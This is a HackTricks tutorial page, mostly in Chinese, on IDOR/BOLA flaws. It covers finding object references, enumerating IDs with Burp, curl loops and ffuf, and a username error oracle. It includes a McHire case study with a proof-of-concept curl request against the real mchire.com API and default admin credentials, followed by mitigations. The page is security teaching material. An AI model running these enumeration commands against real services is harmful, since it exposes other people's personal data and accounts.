IDOR (Insecure Direct Object Reference)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) 出现在 web 或 API 端点公开或接受一个用户可控的标识符,该标识符被直接用于访问内部对象且未验证调用者是否有权访问/修改该对象。 成功利用通常允许 horizontal or vertical privilege-escalation,例如读取或修改其他用户的数据;在最坏情况下可导致完全的账户接管或 mass-data exfiltration。


1. 识别潜在的 IDORs

  1. 查找引用对象的参数
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. 优先选择 读取或更新 数据的端点 (GET, PUT, PATCH, DELETE)。
  2. 注意标识符何时是顺序或可预测的——如果你的 ID 是 64185742,那么 64185741 很可能存在。
  3. 探索隐藏或替代流程(例如登录页面中的 “Paradox team members” 链接),这些可能暴露额外的 API。
  4. 使用一个 已认证的低权限会话,仅更改 ID 保持相同的 token/cookie。缺少授权错误通常是 IDOR 的迹象。

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

自动化枚举 (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

枚举可预测的下载 ID (ffuf)

经过身份验证的文件托管面板通常将每个用户的元数据存储在单个 files 表中,并公开诸如 /download.php?id=<int> 的下载端点。如果处理程序只检查 ID 是否存在(而不检查该 ID 是否属于已验证用户),则可以使用你有效的 session cookie 遍历整数空间并窃取其他租户的备份/配置:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr 删除 404-style 模板,使只有真正的 hits 保留(例如 IDs 54/150 leaking 完整站点备份和签名材料)。
  • 相同的 FFUF 工作流程也可在 Burp Intruder 或 curl 循环中使用——只需在递增 IDs 时确保你保持 authenticated。

Error-response oracle for user/file enumeration

当一个下载端点同时接受用户名和文件名(例如 /view.php?username=<u>&file=<f>)时,错误信息中的细微差别常常会形成一个 oracle:

  • 不存在的用户名 → “User not found”
  • 错误的文件名但扩展名有效 → “File does not exist”(有时还会列出可用文件)
  • 无效的扩展名 → 验证错误

在任何 authenticated session 下,你可以在保持良性文件名不变的情况下 fuzz username 参数,并根据 “User not found” 字符串过滤,以发现有效用户:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

一旦识别出有效用户名,可直接请求特定文件(例如 /view.php?username=amanda&file=privacy.odt)。此类模式通常会导致其他用户的文档被未授权访问并造成凭证泄露。


2. 真实案例研究 – McHire Chatbot Platform (2025)

在对由 Paradox.ai 提供支持的 McHire 招聘门户进行评估时,发现了以下 IDOR:

  • 端点: PUT /api/lead/cem-xhr
  • 授权:用于任何餐厅测试账户的用户会话 cookie
  • 请求体参数:{"lead_id": N} – 8位、顺序的数字标识符

通过递减 lead_id,测试者检索到任意申请人的完整 PII(姓名、电子邮件、电话、地址、班次偏好),以及一个允许会话劫持的消费者 JWT。枚举范围 1 – 64,185,742 暴露了大约 64,000,000 条记录。

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.


3. Impact of IDOR / BOLA

  • 水平提升 – 读取/更新/删除 其他用户 的数据。
  • 垂直提升 – 低权限用户获得仅限管理员的功能。
  • 如果标识符是顺序的(例如,applicant IDs、invoices),可能导致大规模数据泄露。
  • 通过窃取令牌或重置其他用户密码来接管账户。

4. Mitigations & Best Practices

  1. Enforce object-level authorization 在每个请求上强制执行(user_id == session.user)。
  2. 优先使用 indirect, unguessable identifiers(UUIDv4、ULID)代替自增 IDs。
  3. server-side 执行授权,切勿依赖隐藏表单字段或 UI 控件。
  4. 在集中间件中实现 RBAC / ABAC 校验。
  5. 添加 rate-limiting & logging 以检测 ID 枚举。
  6. 对每个新端点进行安全测试(单元测试、集成测试和 DAST)。

5. Tooling

  • BurpSuite extensions: Authorize、Auto Repeater、Turbo Intruder。
  • OWASP ZAP: Auth Matrix、Forced Browse。
  • Github projects: bwapp-idor-scanner, Blindy (批量 IDOR 搜索)。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks